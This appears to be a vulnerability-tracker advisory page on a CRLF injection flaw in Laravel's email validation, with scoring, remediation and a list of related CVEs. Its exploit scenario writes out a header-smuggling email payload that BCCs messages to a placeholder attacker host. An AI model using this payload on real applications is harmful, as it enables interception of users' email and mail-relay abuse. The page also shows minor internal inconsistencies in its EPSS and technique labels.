Skip to main content

Laravel Framework CVE-2026-48019

HIGH
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-09-04 GitHub_M
8.9
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted email with embedded CRLF
  2. Delivery
    Pass Laravel email validator (pre-patch, \r\n accepted)
  3. Exploit
    Application triggers mail dispatch to user-supplied address
  4. Execution
    Symfony Mailer serializes address into SMTP headers
  5. Persist
    Injected headers alter recipients or content
  6. Impact
    Mail relay abuse or sensitive email redirected to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization CRLF sequence sanitization
Exploitation Conditions

Exploitation requires that the target Laravel application (1) accepts an email address as input from an unauthenticated user, and (2) uses that address as a recipient, sender, CC, or BCC parameter in a subsequent mail dispatch - for example, sending a registration confirmation, password-reset link, or contact-form acknowledgment to the address the user provided. Applications that validate email addresses through independent sanitization (e.g., stripping control characters before framework processing) or that never pass user input directly to mail functions are not vulnerable. The attack does not require any account or session; it is fully unauthenticated. CVSS AC:H reflects that not all Laravel applications exhibit the required send-to-user-address pattern. Exploitation is limited to the SMTP/mail layer and does not provide direct operating system access or arbitrary code execution on the Laravel host.

Impact

The vendor-assigned CVSS 8.9 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L) is defensible and internally consistent. AC:H is appropriate because exploitation requires the specific application pattern of sending mail to user-controlled addresses - not all Laravel applications do this, limiting population exposure. S:C reflects that the vulnerability's primary impact escapes the vulnerable Laravel process itself and lands in the mail transport/infrastructure layer. C:H and I:H are plausible given that a successful attack can redirect sensitive emails to attacker-controlled addresses (confidentiality) and forge or inject header content (integrity). A:L is modest and reflects potential disruption to mail flow rather than the primary system. No EPSS score was included in the provided data. No KEV listing exists, and no public proof-of-concept exploit code has been identified; real-world risk is real but currently limited to organizations actively running vulnerable Laravel versions with user-facing mail flows and no independent input sanitization.

Exploit ScenarioDerived

An attacker submits a registration or contact form supplying the email address legitimate@example.com\r\nBcc: attacker@evil.com (URL-encoded appropriately). Laravel's pre-patch validator accepts the string as a syntactically valid email; when the application dispatches a welcome or confirmation message, the Symfony Mailer layer serializes the address into the SMTP DATA section, causing the injected Bcc: header to silently copy the outgoing message to the attacker's address. The same technique can be used to inject arbitrary headers such as Content-Type or to replay the application's mail server as a relay for spam campaigns.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 04, 2026

CRLF injection in Laravel Framework (CWE-93) enables unauthenticated remote attackers to manipulate outbound email processing in any application that passes user-supplied email addresses to Laravel's mail functions. An attacker who can provide an email address to an application flow - such as registration, password reset, or contact forms - can embed carriage-return/line-feed sequences to inject additional SMTP headers, reroute messages to unintended recipients, or abuse the application's mail infrastructure as an open relay. The vendor has released patches in versions 12.60.0 and 13.10.0; no public exploit code or CISA KEV listing has been identified at time of analysis.

RemediationAI

Upgrade to Laravel Framework 12.60.0 or later (for 12.x installations) or 13.10.0 or later (for 13.x installations); tagged releases are available at https://github.com/laravel/framework/releases/tag/v12.60.0 and https://github.com/laravel/framework/releases/tag/v13.10.0. The fix is a two-layer defense: validation rejects addresses containing \r or \n, and address-construction methods in Message.php throw InvalidArgumentException if line-break characters are present. For applications that cannot upgrade immediately, a compensating control is to add an explicit preg_match('/[\r\n]/', $email) check in application-level code before passing any user-supplied address to Laravel's mail functions; note this is defense-in-depth against the symptom rather than a proper framework-level fix. Applications that do not send email to user-supplied addresses are not at risk regardless of version.

Affected Packages

composer laravel/framework fix: 12.60.0, 13.10.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Laravel Framework (cpe:2.3:a:laravel:framework) is a PHP web application framework that delegates mail transport to the Symfony Mailer and Symfony Mime libraries. The root cause (CWE-93 - Improper Neutralization of CRLF Sequences) arises because Laravel's built-in email validation rule did not strip or reject \r and \n characters from candidate email addresses before they were passed down through Illuminate\Mail\Message and Illuminate\Mail\Mailables\Address into the Symfony mail layer. Because SMTP relies on CRLF sequences as header delimiters, an address string containing these bytes can terminate one header and begin another, enabling header injection. The fix adds explicit preg_match('/[\r\n]/', ...) rejection at both the validation layer (ValidatesAttributes.php) and at every address-construction point within Message.php and Address.php, ensuring the check cannot be bypassed by routing mail through a path that skips the validator.

Know when Laravel gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.9 HIGH
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
vuln.today AI 8.9 HIGH

AC:H because exploitation requires the application to send mail to user-supplied addresses; S:C because the impact crosses into mail transport infrastructure beyond the Laravel process.

3.1 AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

DescriptionCVE.org

Laravel is a web application framework. Prior to versions 12.60.0 and 13.10.0, a CRLF injection vulnerability in Laravel's email validation, in combination with how Symfony Mailer and Symfony Mime handle certain character sequences, may allow an unauthenticated attacker to interfere with outbound email processing in applications that send mail to user-supplied addresses. This issue has been patched in versions 12.60.0 and 13.10.0.

Technical POC Analysis

The advisory identifies CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection') in Laravel's default email validation rule.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Laravel Framework contains a CRLF injection vulnerability that allows unauthenticated attackers to manipulate email routing and repurpose affected applications as open relays. Any organization using Laravel for customer-facing forms, authentication workflows, or transactional email-including password resets, registration confirmations, and notifications-faces risk of email spoofing, credential compromise, and infrastructure abuse. Urgent patching is required across all affected Laravel deployments.

Business Impact: High
Compensating Controls

Apply vendor patch (Laravel 12.60.0 or 13.10.0). As interim protection before patches are deployed, implement strict input validation to reject email addresses containing CR/LF sequences (\r\n) and consider temporarily restricting or disabling user-submitted email features such as contact forms and password-reset flows where operationally feasible.

Threat Intelligence Overview

EPSS Score
0.7%
Top 50% exploitable
Prevalence
High
leading PHP web framework with massive global production adoption
Social Media
5
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Affected Products (CPE)CVE.org

cpe:2.3:a:laravel:framework:*:*:*:*:*:*:*:*
CVE-2017-16894 HIGH POC
7.5 Nov 20

In Laravel framework through 5.5.21, remote attackers can obtain sensitive information (such as externally usable passwo

CVE-2025-54068 CRITICAL POC
9.8 Jul 17

Laravel Livewire v3 through v3.6.3 contains a critical remote code execution vulnerability (CVE-2025-54068, CVSS 9.8) th

CVE-2025-53833 CRITICAL POC
10.0 Jul 14

LaRecipe versions prior to 2.8.1 contain a Server-Side Template Injection (SSTI) vulnerability that can lead to Remote C

CVE-2026-28289 CRITICAL POC
10.0 Mar 03

File upload bypass in FreeScout 1.8.206 — patch bypass for CVE-2026-27636. PoC and patch available. CVSS 10.0.

CVE-2026-27636 HIGH POC
8.8 Feb 25

Remote code execution in FreeScout prior to version 1.8.206 allows authenticated users to upload `.htaccess` files that

CVE-2018-15133 HIGH POC
8.1 Aug 09

In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an unseri

CVE-2025-70841 CRITICAL POC
10.0 Feb 03

Dokans SaaS e-commerce platform v3.9.2 has a CVSS 10.0 authentication bypass allowing unauthenticated attackers to obtai

CVE-2026-27637 CRITICAL POC
9.8 Feb 25

Predictable password reset tokens in FreeScout help desk before 1.8.206. Weak random number generation allows attackers

CVE-2026-21448 CRITICAL POC
9.8 Jan 02

Bagisto eCommerce platform before 2.3.10 is vulnerable to server-side template injection (SSTI) through customer address

CVE-2026-21446 CRITICAL POC
9.8 Jan 02

Bagisto eCommerce platform (2.3 branch before 2.3.10) leaves installation API routes active after setup, allowing unauth

CVE-2022-2870 CRITICAL POC
9.8 Aug 17

A vulnerability was found in laravel 5.1 and classified as problematic. Rated critical severity (CVSS 9.8), this vulnera

CVE-2026-114509 CRITICAL POC
9.2 Oct 21

Laravel TokenGuard authentication bypass is a genuine high-priority issue, not an inflated CVSS score: unauthenticated a

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy